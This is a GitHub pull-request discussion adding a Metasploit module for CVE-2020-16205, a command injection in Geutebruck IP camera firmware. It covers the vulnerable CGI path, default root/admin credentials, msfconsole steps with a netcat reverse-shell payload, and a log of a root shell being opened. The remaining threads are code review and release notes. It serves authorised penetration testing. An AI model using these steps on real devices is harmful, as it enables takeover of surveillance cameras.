Add CVE-2020-16205 exploit for Geutebruck G-CAM

[ddouhine]

This exploit a simple OS command injection (CVE-2020-16205) in the web interface of the Geutebruck G-Cam and G-Code products.

Many brands use the same firmware:

• UDP Technology (which is also the supplier of the firmware for the other vendors)
• Ganz
• Visualint
• Cap
• THRIVE Intelligence
• Sophus
• VCA
• TripCorps
• Sprinx Technologies
• Smartec
• Riva

Unfortunately I haven't been able to test this module against any of them except Geutebruck.

Here is the advisory: https://us-cert.cisa.gov/ics/advisories/icsa-20-219-03 and a blogpost about the issue: https://www.randorisec.fr/s05e01-rce-on-geutebruck-ip-cameras/

A web server runs on the product to offer video streaming and configuration management and the web interface have an OS command injection vulnerability in the /uapi-cgi/admin/testaction.cgi page used for the TCP/IP configuration.
The setup pages need authentication to be reached but so its not a CVSS 10 but the credentials are not randomized (root/admin by default).
When exploited the vulnerability gives you a root access.

The following firmware are vulnerable:

• 1.12.0.25 and prior
• 1.12.13.2
• 1.12.14.5

I've tested it with the 1.12.14.5 firmware only and I've provided you the PCAP by mail.

ps: it's my first module since many years so I guess a few things will be incorrect/missing.

Verification

• Start msfconsole
• use exploit/linux/http/geutebruck_testaction_exec
• set credentials (root/admin by default):
• set httpusername root
• set httppassword admin
• set lhost 192.168.14.1
• set rhosts 192.168.14.58
• set payload cmd/unix/reverse_netcat_gaping
• check should return true for vulnerable targets:
• check
• if the target is vulnerable a session should pop when launching exploit
• exploit

Demonstration

• check against a vulnerable target (1.12.14.5):
  

• check against a non vulnerable target (1.12.0.27):
  

• exploitation:

msf5 > use exploit/linux/http/geutebruck_testaction_exec
msf5 exploit(linux/http/geutebruck_testaction_exec) >
msf5 exploit(linux/http/geutebruck_testaction_exec) > set payload cmd/unix/reverse_netcat_gaping
payload => cmd/unix/reverse_netcat_gaping
msf5 exploit(linux/http/geutebruck_testaction_exec) > set httpusername root
httpusername => root
msf5 exploit(linux/http/geutebruck_testaction_exec) > set httppassword admin
httppassword => admin
msf5 exploit(linux/http/geutebruck_testaction_exec) > set lhost 192.168.14.1
lhost => 192.168.14.1
msf5 exploit(linux/http/geutebruck_testaction_exec) > set rhosts 192.168.14.58
rhosts => 192.168.14.58
msf5 exploit(linux/http/geutebruck_testaction_exec) > exploit

[*] Started reverse TCP handler on 192.168.14.1:4444
[*] 192.168.14.58:80 - Attempting to exploit...
[*] Command shell session 3 opened (192.168.14.1:4444 -> 192.168.14.58:43392) at 2020-04-02 18:26:28 +0200
pwd

/tmp/www_ramdisk/uapi-cgi/admin
id
uid=0(root) gid=0(root)
uname -a
Linux EFD-2250 2.6.18_IPNX_PRODUCT_1.1.2-ge52275bd #1 PREEMPT Thu Jul 25 20:25:39 KST 2019 armv5tejl GNU/Linux

[label-actions]

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

• Writing Module Documentation
• Template
• Examples

[gwillcox-r7]

The missing documentation for the Geutebruck G-CAM exploit

Removing documentation tag for now, however the documentation will need updating from my quick look over it as it does not completely follow the expected standards. Shouldn't be too hard to fix it up though, thanks for adding this in @ddouhine!

[label-actions]

Thanks for your pull request! Before this pull request can be merged, it must pass the checks of our automated linting tools.

We use Rubocop and msftidy to ensure the quality of our code. This can be ran from the root directory of Metasploit:

rubocop <directory or file>
tools/dev/msftidy.rb <directory or file>

You can automate most of these changes with the -a flag:

rubocop -a <directory or file>

Please update your branch after these have been made, and reach out if you have any problems.

[gwillcox-r7]

Please also run tools/dev/msftidy_docs.rb documentation/modules/exploit/linux/http/geutebruck_testaction_exec.md as an initial lint check. We will need to run the linting checks again once edits are complete but this will pick up any initial edits that need to be made.

[ddouhine]

thx @gwillcox-r7 and @bcoles for reviewing this PR and for your help 👍

[gwillcox-r7]

thx @gwillcox-r7 and @bcoles for reviewing this PR and for your help 👍

Np, here to help :)

[gwillcox-r7]

@ddouhine Reviewed the PCAP that you sent to the msfdev email account and it appears to be good, can see no errors with what you have sent there and everything matches what was shown in the module overview. Happy to consider this module as tested based on this info. I will likely be making some more comments shortly for some issues that I can't fix myself, then will be applying some fixes to your code to fix up some of the issues that @bcoles mentioned as well as some other issues r.e spelling and grammar that I noticed whilst reviewing this PR.

[gwillcox-r7]

@ddouhine Just realized your branch is way behind the latest updates for Metasploit, so the last update just rebased your branch against master on the Metasploit repository so that I could check it loads and runs successfully. For future reference if a new release of Metasploit comes out (like version 6 that came out a few weeks back), or if your branch is more than 50-80 commits behind the master branch, its generally a good idea to rebase it against the upstream branch so that you can ensure that any new changes aren't going to break your module's behavior.

[gwillcox-r7]

@ddouhine Alright should just be two more things to complete before we can test this out: the documentation as mentioned above, and then the improvements to the version check so that it uses Gem.version and also states that the device is vulnerable if the version is less than or equal to 1.12.0.25

[ddouhine]

Improvements implemented in the version check @gwillcox-r7 ! And I've updated the documentation with the device name device edition firmware version. Nothing to add for me on the documentation, seems complete to me.

[gwillcox-r7]

@ddouhine Gah so close man, but unfortunately with your new firmware function, any return values will be passed from firmware up to check and then ignored. Your going to have to check if that firmware function returns true, and if not then you will want to return whatever firmware returns. Otherwise if it does return true, then you continue on to the second part of the check method where you check whether the firmware version is vulnerable or not.

Otherwise the new Gem checks look good, nice work! This should be good to test after that fix is made as documentation looks fine :)

[ddouhine]

Check seems ok.

With 1.12.0.27 (not vulnerable):

msf6 exploit(linux/http/geutebruck_testaction_exec) > check

[*] Found Geutebruck version 1.12.0.27
[*] 192.168.14.58:80 - The target is not exploitable.

With 1.12.14.5 (vulnerable):

msf6 exploit(linux/http/geutebruck_testaction_exec) > check

[*] Found Geutebruck version 1.12.14.5
[*] 192.168.14.58:80 - The target appears to be vulnerable.

[gwillcox-r7]

Code fix is still incorrect, I'll rewrite this so long. Give me a sec.

[ddouhine]

Really ?? Feel so dumb... Well thx for your help in advance

[gwillcox-r7]

Really ?? Feel so dumb... Well thx for your help in advance

Don't feel bad, happens to all of us sometimes 👍 I think you'll get it pretty quick after I push the patch up.

Edit: Actually the real issue was something else entirely. I'll explain after I patch this up. Sorry for the confusion 😓

[gwillcox-r7]

Ok so last commit should alter the logic a bit so that your firmware function will either return true or CheckCode::Unknown. The logic in check then checks to see if true was returned from firmware. If it was then it continues. Otherwise it returns the return value from firmware which will be CheckCode::Unknown. This ensures that check reports CheckCode::Unknown properly if it encounters a connection error whereas before you weren't propagating this error up far enough.

[gwillcox-r7]

Last thing that may be helpful for this exploit is to include the AutoCheck mixin which will ensure that the exploit only attempts to trigger the bug if the target is determined to be vulnerable via the check method. Users can disable this autocheck at any time by setting the AutoCheck setting to false via the command line so don't worry this won't have any adverse affects.

I'll add this in so long, should give this a little more flexibility and assurance for pentesters 😄

[ddouhine]

Hmm now check is not working for me :/

msf6 exploit(linux/http/geutebruck_testaction_exec) > check

[-] Exploit failed: NoMethodError undefined method `true?' for true:TrueClass
[-] 192.168.14.58:80 - Check failed: The state could not be determined.

I should be tired. Will have a look later.
Thx for your help and patience @gwillcox-r7

[gwillcox-r7]

@ddouhine Gah that was my bad. I messed that up, will fix it now.

[gwillcox-r7]

Ok that should fix it. Sorry I was trying to simplify the logic by calling something similar to .nil? but forgot that .true? isn't a valid method so replaced it with a check that should work now.

[gwillcox-r7]

@ddouhine Whoops sorry, good spot!

[ddouhine]

Do you need anything else from me ?

[gwillcox-r7]

@ddouhine I think there is one minor thing with the documentation but otherwise this is good to land. Let me fix that up so long and get this landed into the framework 👍

[gwillcox-r7]

@ddouhine Merged, thanks a ton for your patience on the edits and for submitting this PR!

[gwillcox-r7]

Original Release Notes
This module adds support for exploiting CVE-2020-16205, an authenticated command injection bug in the web interface of Geutebruck EEC-2xxx, EBC-21xx, EFD-22xx, ETHC-22xx, and EWPC-22xx models running firmware versions 1.12.0.25 and prior, 1.12.13.2, or 1.12.14.5. Successful exploitation grants attackers remote code execution as the root user, allowing them complete control over the affected camera.

[pbarry-r7]

Release Notes

New module exploits/linux/http/geutebruck_testaction_exec targets Geutebruck G-Cam (camera) and G-Code (encoder) devices, leveraging an authenticated command injection vulnerability to gain root-level RCE on vulnerable targets (CVE-2020-16205). Firmware versions 1.12.0.25 and prior, 1.12.13.2, and 1.12.14.5 are vulnerable, and other manufacturers of similar devices are known to have used some of these same firmwares.

[abyadav9697]

@ddouhine ,If you still have pcap for this scenario ,Can you pls share it